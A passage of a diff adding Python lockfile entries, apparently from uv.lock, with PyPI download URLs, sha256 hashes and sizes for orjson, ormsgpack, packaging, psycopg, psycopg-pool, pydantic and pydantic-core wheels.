+    { url = "https://files.pythonhosted.org/packages/3f/0f/b6cb692116e05d058f31ceee819c70f097fa9167c82f67fabe7516289abc/orjson-3.11.8-cp314-cp314-win_amd64.whl", hash = "sha256:735e2262363dcbe05c35e3a8869898022af78f89dde9e256924dc02e99fe69ca", size = 127396, upload-time = "2026-03-31T16:16:23.685Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/d1/facb5b5051fabb0ef9d26c6544d87ef19a939a9a001198655d0d891062dd/orjson-3.11.8-cp314-cp314-win_arm64.whl", hash = "sha256:6ccdea2c213cf9f3d9490cbd5d427693c870753df41e6cb375bd79bcbafc8817", size = 127330, upload-time = "2026-03-31T16:16:25.496Z" },
+]
+
+[[package]]
+name = "ormsgpack"
+version = "1.12.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/12/0c/f1761e21486942ab9bb6feaebc610fa074f7c5e496e6962dea5873348077/ormsgpack-1.12.2.tar.gz", hash = "sha256:944a2233640273bee67521795a73cf1e959538e0dfb7ac635505010455e53b33", size = 39031, upload-time = "2026-01-18T20:55:28.023Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/4b/08/8b68f24b18e69d92238aa8f258218e6dfeacf4381d9d07ab8df303f524a9/ormsgpack-1.12.2-cp311-cp311-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bd5f4bf04c37888e864f08e740c5a573c4017f6fd6e99fa944c5c935fabf2dd9", size = 378266, upload-time = "2026-01-18T20:55:59.876Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/24/29fc13044ecb7c153523ae0a1972269fcd613650d1fa1a9cec1044c6b666/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:34d5b28b3570e9fed9a5a76528fc7230c3c76333bc214798958e58e9b79cc18a", size = 203035, upload-time = "2026-01-18T20:55:30.59Z" },
+    { url = "https://files.pythonhosted.org/packages/ad/c2/00169fb25dd8f9213f5e8a549dfb73e4d592009ebc85fbbcd3e1dcac575b/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3708693412c28f3538fb5a65da93787b6bbab3484f6bc6e935bfb77a62400ae5", size = 210539, upload-time = "2026-01-18T20:55:48.569Z" },
+    { url = "https://files.pythonhosted.org/packages/1b/33/543627f323ff3c73091f51d6a20db28a1a33531af30873ea90c5ac95a9b5/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:43013a3f3e2e902e1d05e72c0f1aeb5bedbb8e09240b51e26792a3c89267e181", size = 212401, upload-time = "2026-01-18T20:56:10.101Z" },
+    { url = "https://files.pythonhosted.org/packages/e8/5d/f70e2c3da414f46186659d24745483757bcc9adccb481a6eb93e2b729301/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7c8b1667a72cbba74f0ae7ecf3105a5e01304620ed14528b2cb4320679d2869b", size = 387082, upload-time = "2026-01-18T20:56:12.047Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/d6/06e8dc920c7903e051f30934d874d4afccc9bb1c09dcaf0bc03a7de4b343/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:df6961442140193e517303d0b5d7bc2e20e69a879c2d774316125350c4a76b92", size = 482346, upload-time = "2026-01-18T20:56:05.152Z" },
+    { url = "https://files.pythonhosted.org/packages/66/c4/f337ac0905eed9c393ef990c54565cd33644918e0a8031fe48c098c71dbf/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:c6a4c34ddef109647c769d69be65fa1de7a6022b02ad45546a69b3216573eb4a", size = 425181, upload-time = "2026-01-18T20:55:37.83Z" },
+    { url = "https://files.pythonhosted.org/packages/78/29/6d5758fabef3babdf4bbbc453738cc7de9cd3334e4c38dd5737e27b85653/ormsgpack-1.12.2-cp311-cp311-win_amd64.whl", hash = "sha256:73670ed0375ecc303858e3613f407628dd1fca18fe6ac57b7b7ce66cc7bb006c", size = 117182, upload-time = "2026-01-18T20:55:31.472Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/57/17a15549233c37e7fd054c48fe9207492e06b026dbd872b826a0b5f833b6/ormsgpack-1.12.2-cp311-cp311-win_arm64.whl", hash = "sha256:c2be829954434e33601ae5da328cccce3266b098927ca7a30246a0baec2ce7bd", size = 111464, upload-time = "2026-01-18T20:55:38.811Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/36/16c4b1921c308a92cef3bf6663226ae283395aa0ff6e154f925c32e91ff5/ormsgpack-1.12.2-cp312-cp312-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7a29d09b64b9694b588ff2f80e9826bdceb3a2b91523c5beae1fab27d5c940e7", size = 378618, upload-time = "2026-01-18T20:55:50.835Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/68/468de634079615abf66ed13bb5c34ff71da237213f29294363beeeca5306/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b39e629fd2e1c5b2f46f99778450b59454d1f901bc507963168985e79f09c5d", size = 203186, upload-time = "2026-01-18T20:56:11.163Z" },
+    { url = "https://files.pythonhosted.org/packages/73/a9/d756e01961442688b7939bacd87ce13bfad7d26ce24f910f6028178b2cc8/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:958dcb270d30a7cb633a45ee62b9444433fa571a752d2ca484efdac07480876e", size = 210738, upload-time = "2026-01-18T20:56:09.181Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/ba/795b1036888542c9113269a3f5690ab53dd2258c6fb17676ac4bd44fcf94/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58d379d72b6c5e964851c77cfedfb386e474adee4fd39791c2c5d9efb53505cc", size = 212569, upload-time = "2026-01-18T20:56:06.135Z" },
+    { url = "https://files.pythonhosted.org/packages/6c/aa/bff73c57497b9e0cba8837c7e4bcab584b1a6dbc91a5dd5526784a5030c8/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8463a3fc5f09832e67bdb0e2fda6d518dc4281b133166146a67f54c08496442e", size = 387166, upload-time = "2026-01-18T20:55:36.738Z" },
+    { url = "https://files.pythonhosted.org/packages/d3/cf/f8283cba44bcb7b14f97b6274d449db276b3a86589bdb363169b51bc12de/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:eddffb77eff0bad4e67547d67a130604e7e2dfbb7b0cde0796045be4090f35c6", size = 482498, upload-time = "2026-01-18T20:55:29.626Z" },
+    { url = "https://files.pythonhosted.org/packages/05/be/71e37b852d723dfcbe952ad04178c030df60d6b78eba26bfd14c9a40575e/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fcd55e5f6ba0dbce624942adf9f152062135f991a0126064889f68eb850de0dd", size = 425518, upload-time = "2026-01-18T20:55:49.556Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/0c/9803aa883d18c7ef197213cd2cbf73ba76472a11fe100fb7dab2884edf48/ormsgpack-1.12.2-cp312-cp312-win_amd64.whl", hash = "sha256:d024b40828f1dde5654faebd0d824f9cc29ad46891f626272dd5bfd7af2333a4", size = 117462, upload-time = "2026-01-18T20:55:47.726Z" },
+    { url = "https://files.pythonhosted.org/packages/c8/9e/029e898298b2cc662f10d7a15652a53e3b525b1e7f07e21fef8536a09bb8/ormsgpack-1.12.2-cp312-cp312-win_arm64.whl", hash = "sha256:da538c542bac7d1c8f3f2a937863dba36f013108ce63e55745941dda4b75dbb6", size = 111559, upload-time = "2026-01-18T20:55:54.273Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/29/bb0eba3288c0449efbb013e9c6f58aea79cf5cb9ee1921f8865f04c1a9d7/ormsgpack-1.12.2-cp313-cp313-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:5ea60cb5f210b1cfbad8c002948d73447508e629ec375acb82910e3efa8ff355", size = 378661, upload-time = "2026-01-18T20:55:57.765Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/31/5efa31346affdac489acade2926989e019e8ca98129658a183e3add7af5e/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3601f19afdbea273ed70b06495e5794606a8b690a568d6c996a90d7255e51c1", size = 203194, upload-time = "2026-01-18T20:56:08.252Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/56/d0087278beef833187e0167f8527235ebe6f6ffc2a143e9de12a98b1ce87/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:29a9f17a3dac6054c0dce7925e0f4995c727f7c41859adf9b5572180f640d172", size = 210778, upload-time = "2026-01-18T20:55:17.694Z" },
+    { url = "https://files.pythonhosted.org/packages/1c/a2/072343e1413d9443e5a252a8eb591c2d5b1bffbe5e7bfc78c069361b92eb/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:39c1bd2092880e413902910388be8715f70b9f15f20779d44e673033a6146f2d", size = 212592, upload-time = "2026-01-18T20:55:32.747Z" },
+    { url = "https://files.pythonhosted.org/packages/a2/8b/a0da3b98a91d41187a63b02dda14267eefc2a74fcb43cc2701066cf1510e/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:50b7249244382209877deedeee838aef1542f3d0fc28b8fe71ca9d7e1896a0d7", size = 387164, upload-time = "2026-01-18T20:55:40.853Z" },
+    { url = "https://files.pythonhosted.org/packages/19/bb/6d226bc4cf9fc20d8eb1d976d027a3f7c3491e8f08289a2e76abe96a65f3/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:5af04800d844451cf102a59c74a841324868d3f1625c296a06cc655c542a6685", size = 482516, upload-time = "2026-01-18T20:55:42.033Z" },
+    { url = "https://files.pythonhosted.org/packages/fb/f1/bb2c7223398543dedb3dbf8bb93aaa737b387de61c5feaad6f908841b782/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cec70477d4371cd524534cd16472d8b9cc187e0e3043a8790545a9a9b296c258", size = 425539, upload-time = "2026-01-18T20:55:24.727Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/e8/0fb45f57a2ada1fed374f7494c8cd55e2f88ccd0ab0a669aa3468716bf5f/ormsgpack-1.12.2-cp313-cp313-win_amd64.whl", hash = "sha256:21f4276caca5c03a818041d637e4019bc84f9d6ca8baa5ea03e5cc8bf56140e9", size = 117459, upload-time = "2026-01-18T20:55:56.876Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/d4/0cfeea1e960d550a131001a7f38a5132c7ae3ebde4c82af1f364ccc5d904/ormsgpack-1.12.2-cp313-cp313-win_arm64.whl", hash = "sha256:baca4b6773d20a82e36d6fd25f341064244f9f86a13dead95dd7d7f996f51709", size = 111577, upload-time = "2026-01-18T20:55:43.605Z" },
+    { url = "https://files.pythonhosted.org/packages/94/16/24d18851334be09c25e87f74307c84950f18c324a4d3c0b41dabdbf19c29/ormsgpack-1.12.2-cp314-cp314-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bc68dd5915f4acf66ff2010ee47c8906dc1cf07399b16f4089f8c71733f6e36c", size = 378717, upload-time = "2026-01-18T20:55:26.164Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/a2/88b9b56f83adae8032ac6a6fa7f080c65b3baf9b6b64fd3d37bd202991d4/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46d084427b4132553940070ad95107266656cb646ea9da4975f85cb1a6676553", size = 203183, upload-time = "2026-01-18T20:55:18.815Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/80/43e4555963bf602e5bdc79cbc8debd8b6d5456c00d2504df9775e74b450b/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c010da16235806cf1d7bc4c96bf286bfa91c686853395a299b3ddb49499a3e13", size = 210814, upload-time = "2026-01-18T20:55:33.973Z" },
+    { url = "https://files.pythonhosted.org/packages/78/e1/7cfbf28de8bca6efe7e525b329c31277d1b64ce08dcba723971c241a9d60/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:18867233df592c997154ff942a6503df274b5ac1765215bceba7a231bea2745d", size = 212634, upload-time = "2026-01-18T20:55:28.634Z" },
+    { url = "https://files.pythonhosted.org/packages/95/f8/30ae5716e88d792a4e879debee195653c26ddd3964c968594ddef0a3cc7e/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b009049086ddc6b8f80c76b3955df1aa22a5fbd7673c525cd63bf91f23122ede", size = 387139, upload-time = "2026-01-18T20:56:02.013Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/81/aee5b18a3e3a0e52f718b37ab4b8af6fae0d9d6a65103036a90c2a8ffb5d/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:1dcc17d92b6390d4f18f937cf0b99054824a7815818012ddca925d6e01c2e49e", size = 482578, upload-time = "2026-01-18T20:55:35.117Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/17/71c9ba472d5d45f7546317f467a5fc941929cd68fb32796ca3d13dcbaec2/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f04b5e896d510b07c0ad733d7fce2d44b260c5e6c402d272128f8941984e4285", size = 425539, upload-time = "2026-01-18T20:56:04.009Z" },
+    { url = "https://files.pythonhosted.org/packages/2e/a6/ac99cd7fe77e822fed5250ff4b86fa66dd4238937dd178d2299f10b69816/ormsgpack-1.12.2-cp314-cp314-win_amd64.whl", hash = "sha256:ae3aba7eed4ca7cb79fd3436eddd29140f17ea254b91604aa1eb19bfcedb990f", size = 117493, upload-time = "2026-01-18T20:56:07.343Z" },
+    { url = "https://files.pythonhosted.org/packages/3a/67/339872846a1ae4592535385a1c1f93614138566d7af094200c9c3b45d1e5/ormsgpack-1.12.2-cp314-cp314-win_arm64.whl", hash = "sha256:118576ea6006893aea811b17429bfc561b4778fad393f5f538c84af70b01260c", size = 111579, upload-time = "2026-01-18T20:55:21.161Z" },
+    { url = "https://files.pythonhosted.org/packages/49/c2/6feb972dc87285ad381749d3882d8aecbde9f6ecf908dd717d33d66df095/ormsgpack-1.12.2-cp314-cp314t-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7121b3d355d3858781dc40dafe25a32ff8a8242b9d80c692fd548a4b1f7fd3c8", size = 378721, upload-time = "2026-01-18T20:55:52.12Z" },
+    { url = "https://files.pythonhosted.org/packages/a3/9a/900a6b9b413e0f8a471cf07830f9cf65939af039a362204b36bd5b581d8b/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ee766d2e78251b7a63daf1cddfac36a73562d3ddef68cacfb41b2af64698033", size = 203170, upload-time = "2026-01-18T20:55:44.469Z" },
+    { url = "https://files.pythonhosted.org/packages/87/4c/27a95466354606b256f24fad464d7c97ab62bce6cc529dd4673e1179b8fb/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:292410a7d23de9b40444636b9b8f1e4e4b814af7f1ef476e44887e52a123f09d", size = 212816, upload-time = "2026-01-18T20:55:23.501Z" },
+    { url = "https://files.pythonhosted.org/packages/73/cd/29cee6007bddf7a834e6cd6f536754c0535fcb939d384f0f37a38b1cddb8/ormsgpack-1.12.2-cp314-cp314t-win_amd64.whl", hash = "sha256:837dd316584485b72ef451d08dd3e96c4a11d12e4963aedb40e08f89685d8ec2", size = 117232, upload-time = "2026-01-18T20:55:45.448Z" },
+]
+
+[[package]]
+name = "packaging"
+version = "26.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/65/ee/299d360cdc32edc7d2cf530f3accf79c4fca01e96ffc950d8a52213bd8e4/packaging-26.0.tar.gz", hash = "sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4", size = 143416, upload-time = "2026-01-21T20:50:39.064Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/b7/b9/c538f279a4e237a006a2c98387d081e9eb060d203d8ed34467cc0f0b9b53/packaging-26.0-py3-none-any.whl", hash = "sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529", size = 74366, upload-time = "2026-01-21T20:50:37.788Z" },
+]
+
+[[package]]
+name = "psycopg"
+version = "3.3.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+    { name = "tzdata", marker = "sys_platform == 'win32'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/db/2f/cb91e5502ec9de1de6f1b76cfbf69531932725361168bb06963620c77e2e/psycopg-3.3.4.tar.gz", hash = "sha256:e21207764952cff81b6b8bdacad9a3939f2793367fdac2987b3aac36a651b5bc", size = 165799, upload-time = "2026-05-01T23:31:55.179Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/5c/e0/7b3dee031daae7743609ce3c746565d4a3ed7c2c186479eb48e34e838c64/psycopg-3.3.4-py3-none-any.whl", hash = "sha256:b6bbc25ccf05c8fad3b061d9db2ef0909a555171b84b07f29458a447253d679a", size = 213001, upload-time = "2026-05-01T23:20:50.816Z" },
+]
+
+[[package]]
+name = "psycopg-pool"
+version = "3.3.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/90/82/7a23d26039827ecd4ebe93905651029ddd307c5182ad59296dfb6f67b528/psycopg_pool-3.3.1.tar.gz", hash = "sha256:b10b10b7a175d5cc1592147dc5b7eec8a9e0834eb3ed2c4a92c858e2f51eb63c", size = 31661, upload-time = "2026-05-01T23:31:59.809Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/37/ed/89c2c620af0e1660354cd8aabf9f5b21f911597ce22acb37c805d6c86bc8/psycopg_pool-3.3.1-py3-none-any.whl", hash = "sha256:2af5b432941c4c9ad5c87b3fa410aec910ec8f7c122855897983a06c45f2e4b5", size = 40023, upload-time = "2026-05-01T23:31:53.136Z" },
+]
+
+[[package]]
+name = "pydantic"
+version = "2.12.5"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "annotated-types" },
+    { name = "pydantic-core" },
+    { name = "typing-extensions" },
+    { name = "typing-inspection" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/69/44/36f1a6e523abc58ae5f928898e4aca2e0ea509b5aa6f6f392a5d882be928/pydantic-2.12.5.tar.gz", hash = "sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49", size = 821591, upload-time = "2025-11-26T15:11:46.471Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/5a/87/b70ad306ebb6f9b585f114d0ac2137d792b48be34d732d60e597c2f8465a/pydantic-2.12.5-py3-none-any.whl", hash = "sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d", size = 463580, upload-time = "2025-11-26T15:11:44.605Z" },
+]
+
+[[package]]
+name = "pydantic-core"
+version = "2.41.5"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/71/70/23b021c950c2addd24ec408e9ab05d59b035b39d97cdc1130e1bce647bb6/pydantic_core-2.41.5.tar.gz", hash = "sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e", size = 460952, upload-time = "2025-11-04T13:43:49.098Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/e8/72/74a989dd9f2084b3d9530b0915fdda64ac48831c30dbf7c72a41a5232db8/pydantic_core-2.41.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6", size = 2105873, upload-time = "2025-11-04T13:39:31.373Z" },
+    { url = "https://files.pythonhosted.org/packages/12/44/37e403fd9455708b3b942949e1d7febc02167662bf1a7da5b78ee1ea2842/pydantic_core-2.41.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b", size = 1899826, upload-time = "2025-11-04T13:39:32.897Z" },
+    { url = "https://files.pythonhosted.org/packages/33/7f/1d5cab3ccf44c1935a359d51a8a2a9e1a654b744b5e7f80d41b88d501eec/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a", size = 1917869, upload-time = "2025-11-04T13:39:34.469Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/6a/30d94a9674a7fe4f4744052ed6c5e083424510be1e93da5bc47569d11810/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8", size = 2063890, upload-time = "2025-11-04T13:39:36.053Z" },
+    { url = "https://files.pythonhosted.org/packages/50/be/76e5d46203fcb2750e542f32e6c371ffa9b8ad17364cf94bb0818dbfb50c/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e", size = 2229740, upload-time = "2025-11-04T13:39:37.753Z" },
+    { url = "https://files.pythonhosted.org/packages/d3/ee/fed784df0144793489f87db310a6bbf8118d7b630ed07aa180d6067e653a/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1", size = 2350021, upload-time = "2025-11-04T13:39:40.94Z" },
+    { url = "https://files.pythonhosted.org/packages/c8/be/8fed28dd0a180dca19e72c233cbf58efa36df055e5b9d90d64fd1740b828/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b", size = 2066378, upload-time = "2025-11-04T13:39:42.523Z" },
+    { url = "https://files.pythonhosted.org/packages/b0/3b/698cf8ae1d536a010e05121b4958b1257f0b5522085e335360e53a6b1c8b/pydantic_core-2.41.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b", size = 2175761, upload-time = "2025-11-04T13:39:44.553Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/ba/15d537423939553116dea94ce02f9c31be0fa9d0b806d427e0308ec17145/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284", size = 2146303, upload-time = "2025-11-04T13:39:46.238Z" },
+    { url = "https://files.pythonhosted.org/packages/58/7f/0de669bf37d206723795f9c90c82966726a2ab06c336deba4735b55af431/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594", size = 2340355, upload-time = "2025-11-04T13:39:48.002Z" },
+    { url = "https://files.pythonhosted.org/packages/e5/de/e7482c435b83d7e3c3ee5ee4451f6e8973cff0eb6007d2872ce6383f6398/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e", size = 2319875, upload-time = "2025-11-04T13:39:49.705Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/e6/8c9e81bb6dd7560e33b9053351c29f30c8194b72f2d6932888581f503482/pydantic_core-2.41.5-cp311-cp311-win32.whl", hash = "sha256:2c010c6ded393148374c0f6f0bf89d206bf3217f201faa0635dcd56bd1520f6b", size = 1987549, upload-time = "2025-11-04T13:39:51.842Z" },
+    { url = "https://files.pythonhosted.org/packages/11/66/f14d1d978ea94d1bc21fc98fcf570f9542fe55bfcc40269d4e1a21c19bf7/pydantic_core-2.41.5-cp311-cp311-win_amd64.whl", hash = "sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe", size = 2011305, upload-time = "2025-11-04T13:39:53.485Z" },
+    { url = "https://files.pythonhosted.org/packages/56/d8/0e271434e8efd03186c5386671328154ee349ff0354d83c74f5caaf096ed/pydantic_core-2.41.5-cp311-cp311-win_arm64.whl", hash = "sha256:4bc36bbc0b7584de96561184ad7f012478987882ebf9f9c389b23f432ea3d90f", size = 1972902, upload-time = "2025-11-04T13:39:56.488Z" },
+    { url = "https://files.pythonhosted.org/packages/5f/5d/5f6c63eebb5afee93bcaae4ce9a898f3373ca23df3ccaef086d0233a35a7/pydantic_core-2.41.5-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7", size = 2110990, upload-time = "2025-11-04T13:39:58.079Z" },
+    { url = "https://files.pythonhosted.org/packages/aa/32/9c2e8ccb57c01111e0fd091f236c7b371c1bccea0fa85247ac55b1e2b6b6/pydantic_core-2.41.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0", size = 1896003, upload-time = "2025-11-04T13:39:59.956Z" },
+    { url = "https://files.pythonhosted.org/packages/68/b8/a01b53cb0e59139fbc9e4fda3e9724ede8de279097179be4ff31f1abb65a/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69", size = 1919200, upload-time = "2025-11-04T13:40:02.241Z" },
+    { url = "https://files.pythonhosted.org/packages/38/de/8c36b5198a29bdaade07b5985e80a233a5ac27137846f3bc2d3b40a47360/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75", size = 2052578, upload-time = "2025-11-04T13:40:04.401Z" },
+    { url = "https://files.pythonhosted.org/packages/00/b5/0e8e4b5b081eac6cb3dbb7e60a65907549a1ce035a724368c330112adfdd/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05", size = 2208504, upload-time = "2025-11-04T13:40:06.072Z" },
+    { url = "https://files.pythonhosted.org/packages/77/56/87a61aad59c7c5b9dc8caad5a41a5545cba3810c3e828708b3d7404f6cef/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc", size = 2335816, upload-time = "2025-11-04T13:40:07.835Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/76/941cc9f73529988688a665a5c0ecff1112b3d95ab48f81db5f7606f522d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c", size = 2075366, upload-time = "2025-11-04T13:40:09.804Z" },
+    { url = "https://files.pythonhosted.org/packages/d3/43/ebef01f69baa07a482844faaa0a591bad1ef129253ffd0cdaa9d8a7f72d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5", size = 2171698, upload-time = "2025-11-04T13:40:12.004Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/87/41f3202e4193e3bacfc2c065fab7706ebe81af46a83d3e27605029c1f5a6/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c", size = 2132603, upload-time = "2025-11-04T13:40:13.868Z" },
+    { url = "https://files.pythonhosted.org/packages/49/7d/4c00df99cb12070b6bccdef4a195255e6020a550d572768d92cc54dba91a/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294", size = 2329591, upload-time = "2025-11-04T13:40:15.672Z" },
